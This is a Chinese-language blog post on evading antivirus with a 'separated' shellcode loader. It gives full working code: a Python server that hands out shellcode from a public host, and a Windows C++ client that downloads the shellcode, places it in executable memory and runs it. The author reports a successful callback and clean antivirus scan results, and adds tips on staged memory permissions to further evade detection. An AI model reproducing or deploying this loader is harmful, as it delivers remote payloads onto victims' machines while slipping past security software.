分离免杀测试

分离免杀测试

Posted by hmoytx on December 30, 2019

分离免杀测试

简介

这个系列断了好久(年底要冲塔恰饭的),今天重新开坑。之前是直接把shellcode混淆以后放在源码中运行直接加载,之前的那个今天看了看V站已经有17个报毒了。这次尝试分离shellcode,将shellcode放在外网的服务器上,本地实现一个有下载功能的shellcode加载器。测试以下效果还是可以的。

测试

首先实现服务器端的代码,这个比较简单,用python写一下几行代码就可以了,这种demo网上很多的。

import socket
import threading
import time  

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('127.0.0.1', 36444)) # 公网地址
    s.listen(20)
    timeout = 10
    socket.setdefaulttimeout(timeout)
    while True:
        sock, addr = s.accept()
        t = threading.Thread(target=tcplink, args=(sock, addr))
        t.start()


def tcplink(sock, addr):
    print('Start download shellcode %s:%s...' % addr)
    shellcode = b'1111111' #your shellcode
    print(len(shellcode))
    while True:
        data = sock.recv(1024)
        time.sleep(3)
        sock.send(shellcode)
        sock.close()
    print('Finish %s:%s ' % addr)


if __name__ == '__main__':
    main()

然后在服务器上nohup挂到后台就行了,根据需求修改对应的shellcode。

然后是客户端代码:

#include "stdafx.h"
#include <stdio.h>
#include <iostream>
#include <WinSock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma warning(disable:4996)
using namespace std;

int main(int argc, char *argv[])
{
	const int BUF_SIZE = 1024;

	WSADATA wsd; 
	SOCKET sHost; 
	SOCKADDR_IN servAddr;
	char buf[BUF_SIZE];
	char bufRecv[BUF_SIZE];
	DWORD dwThreadId; 
	HANDLE hThread; 
	DWORD dwOldProtect; 
	int retVal; 
	if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0)
	{
		cout << "WSAStartup failed!" << endl;
		return -1;
	}
	sHost = socket(AF_INET, SOCK_STREAM, 0);
	if (INVALID_SOCKET == sHost)
	{
		cout << "socket failed!" << endl;
		WSACleanup();
		return  -1;
	}

	servAddr.sin_family = AF_INET;
	servAddr.sin_addr.s_addr = inet_addr(argv[1]);
	servAddr.sin_port = htons((short)atoi(argv[2]));
	
	retVal = connect(sHost, (LPSOCKADDR)&servAddr, sizeof(servAddr));
	if (SOCKET_ERROR == retVal)
	{
		cout << "connect failed!" << endl;
		closesocket(sHost); 
		WSACleanup(); 
		return -1;
	}
	ZeroMemory(buf, BUF_SIZE);
	strcpy(buf, "ok");
	retVal = send(sHost, buf, strlen(buf), 0);
	if (SOCKET_ERROR == retVal)
	{
		cout << "send failed!" << endl;
		closesocket(sHost); 
		WSACleanup(); 
		return -1;
	}
	cout << "Start download." << endl;
	ZeroMemory(bufRecv, BUF_SIZE);
	Sleep(2000);
	cout << "Downloading." << endl;
	//RecvLine(sHost, bufRecv);
	recv(sHost, bufRecv, BUF_SIZE, 0);
	cout << "OK." << endl;
	Sleep(4000);
	closesocket(sHost);
	WSACleanup();
	
	cout << "Start load" << endl;
	char * shellcode = (char *)VirtualAlloc(
		NULL,
		BUF_SIZE,
		MEM_COMMIT,
		PAGE_EXECUTE_READWRITE  
		);
	CopyMemory(shellcode, bufRecv, BUF_SIZE); 
	hThread = CreateThread(
		NULL, 
		NULL, 
		(LPTHREAD_START_ROUTINE)shellcode, 
		NULL, 
		NULL, 
		&dwThreadId 
		);
	
	WaitForSingleObject(hThread, INFINITE); 
	return 0;
}

编译出来运行就可以了:

shellcodeloader.exe ip port #服务器ip和端口

191230_1
可以成功上线。
191230_2

查杀情况

放V站上查杀了一下还是很稳健的。
191230_3

补充

这边加载shellcode是直接申请了可读可写可执行,实际中可以先申请可读可写,然后通过VirtualProtect改变它的属性为可执行,利用这种渐进申请的方式能更好的规避杀软的检测。
事实我在测试中可能是应为环境的原因渐进申请会中断报错,遂放弃,用了之前的加载方式。

项目地址

我把写的demo放到github上了,有兴趣可以自己看看。项目地址:https://github.com/hmoytx/aaaAyyYy

参考内容

https://payloads.online/archivers/2019-11-10/5
https://github.com/Rvn0xsy/Cooolis-ms